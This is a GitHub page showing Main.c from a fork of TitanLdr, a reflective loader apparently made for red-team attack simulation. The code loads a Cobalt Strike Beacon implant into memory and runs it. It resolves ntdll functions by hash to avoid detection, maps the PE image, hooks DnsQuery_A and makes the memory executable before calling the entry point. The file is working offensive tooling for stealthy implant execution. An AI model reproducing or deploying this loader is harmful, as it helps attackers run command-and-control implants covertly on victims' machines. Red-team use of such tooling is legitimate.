forked from moonlight-junky/TitanLdr
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMain.c
131 lines (108 loc) · 3.9 KB
/
Main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
/**
*
* Reflective Loader
*
* GuidePoint Security LLC
*
* Threat and Attack Simulation
*
**/
#include "Common.h"
typedef BOOLEAN ( WINAPI * DLLMAIN_T )(
HMODULE ImageBase,
DWORD Reason,
LPVOID Parameter
);
typedef struct
{
D_API( RtlAnsiStringToUnicodeString );
D_API( NtAllocateVirtualMemory );
D_API( NtProtectVirtualMemory );
D_API( LdrGetProcedureAddress );
D_API( RtlFreeUnicodeString );
D_API( RtlInitAnsiString );
D_API( LdrLoadDll );
} API, *PAPI;
#define H_API_RTLANSISTRINGTOUNICODESTRING 0x6c606cba /* RtlAnsiStringToUnicodeString */
#define H_API_NTALLOCATEVIRTUALMEMORY 0xf783b8ec /* NtAllocateVirtualMemory */
#define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888 /* NtProtectVirtualMemory */
#define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */
#define H_API_RTLFREEUNICODESTRING 0x61b88f97 /* RtlFreeUnicodeString */
#define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */
#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */
#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
#ifndef PTR_TO_HOOK
#define PTR_TO_HOOK( a, b ) U_PTR( U_PTR( a ) + G_SYM( b ) - G_SYM( Hooks ) )
#endif
/*!
*
* Purpose:
*
* Loads Beacon into memory and executes its
* entrypoint.
*
!*/
D_SEC( B ) VOID WINAPI Titan( VOID )
{
API Api;
SIZE_T Prm = 0;
SIZE_T SLn = 0;
SIZE_T ILn = 0;
SIZE_T Idx = 0;
SIZE_T MLn = 0;
PVOID Mem = NULL;
PVOID Map = NULL;
DLLMAIN_T Ent = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nth = NULL;
PIMAGE_SECTION_HEADER Sec = NULL;
PIMAGE_DATA_DIRECTORY Dir = NULL;
RtlSecureZeroMemory( &Api, sizeof( Api ) );
/* Initialize API structures */
Api.NtAllocateVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTALLOCATEVIRTUALMEMORY );
Api.NtProtectVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTPROTECTVIRTUALMEMORY );
/* Setup Image Headers */
Dos = C_PTR( G_END() );
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
/* Allocate Length For Hooks & Beacon */
ILn = ( ( ( Nth->OptionalHeader.SizeOfImage ) + 0x1000 - 1 ) &~( 0x1000 - 1 ) );
SLn = ( ( ( G_END() - G_SYM( Hooks ) ) + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) );
MLn = ILn + SLn;
/* Create a page of memory that is marked as R/W */
if ( NT_SUCCESS( Api.NtAllocateVirtualMemory( NtCurrentProcess(), &Mem, 0, &MLn, MEM_COMMIT, PAGE_READWRITE ) ) ) {
/* Copy hooks over the top */
__builtin_memcpy( Mem, C_PTR( G_SYM( Hooks ) ), U_PTR( G_END() - G_SYM( Hooks ) ) );
/* Get pointer to PE Image */
Map = C_PTR( U_PTR( Mem ) + SLn );
/* Copy sections over to new mem */
Sec = IMAGE_FIRST_SECTION( Nth );
for ( Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) {
__builtin_memcpy( C_PTR( U_PTR( Map ) + Sec[ Idx ].VirtualAddress ),
C_PTR( U_PTR( Dos ) + Sec[ Idx ].PointerToRawData ),
Sec[ Idx ].SizeOfRawData );
};
/* Get a pointer to the import table */
Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
if ( Dir->VirtualAddress ) {
/* Process Import Table */
LdrProcessIat( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ) );
LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x8641aec0, PTR_TO_HOOK( Mem, DnsQuery_A_Hook ) );
};
/* Get a pointer to the relocation table */
Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
if ( Dir->VirtualAddress ) {
/* Process Relocations */
LdrProcessRel( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), Nth->OptionalHeader.ImageBase );
};
/* Extend to size of PE Section */
SLn = SLn + Sec->SizeOfRawData;
/* Change Memory Protection */
if ( NT_SUCCESS( Api.NtProtectVirtualMemory( NtCurrentProcess(), &Mem, &SLn, PAGE_EXECUTE_READ, &Prm ) ) ) {
/* Execute EntryPoint */
Ent = C_PTR( U_PTR( Map ) + Nth->OptionalHeader.AddressOfEntryPoint );
Ent( G_SYM( Start ), 1, NULL );
Ent( G_SYM( Start ), 4, NULL );
};
};
return;
};